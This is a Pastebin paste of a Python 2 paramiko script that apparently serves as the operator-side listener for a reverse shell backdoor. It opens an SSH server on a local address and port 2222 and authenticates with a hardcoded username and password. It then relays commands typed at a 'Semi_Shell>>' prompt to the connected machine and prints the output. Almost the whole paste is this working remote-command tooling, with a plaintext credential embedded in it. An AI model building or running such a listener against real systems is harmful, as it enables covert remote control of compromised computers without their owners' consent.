Advertisement
Guest User

Untitled

a guest
Oct 16th, 2016
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import socket
  3. import sys
  4. import threading
  5. import paramiko
  6.  
  7.  
  8.  
  9.  
  10.  
  11. host_key = paramiko.RSAKey(filename='/home/nomad/test_rsa.key')
  12.  
  13. class Server (paramiko.ServerInterface):
  14.  
  15. def __init__(self):
  16. self.event = threading.Event()
  17.  
  18. def check_channel_request(self, kind, chanid):
  19. if kind == 'session':
  20. return paramiko.OPEN_SUCCEEDED
  21. return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
  22.  
  23. def check_auth_password(self, username, password):
  24. if (username == 'nomad') and (password == '#P0nt5d3P3dr5#'):
  25. return paramiko.AUTH_SUCCESSFUL
  26. return paramiko.AUTH_FAILED
  27.  
  28. try:
  29. global sock
  30. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  31. sock.bind(('192.168.0.102', 2222))
  32. sock.listen(1)
  33. print "[+] Listening for connections..."
  34.  
  35. except Exception, e:
  36. print "[-] Listen/Bind failed " + str(e)
  37.  
  38.  
  39. try:
  40. client, addr = sock.accept()
  41. print "[+] Got connection from " + str(addr)
  42. t = paramiko.Transport(client)
  43. t.load_server_moduli()
  44. t.add_server_key(host_key)
  45. server = Server()
  46. t.start_server(server=server)
  47. global chan
  48. chan = t.accept(1)
  49. print chan.recv(1024)
  50. chan.send("Seeing the connection!")
  51.  
  52. except:
  53. print "[-] Connection Terminated"
  54. pass
  55.  
  56. while True:
  57. command = raw_input("Semi_Shell>> ")
  58. chan.send(command)
  59. print chan.recv(1024)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement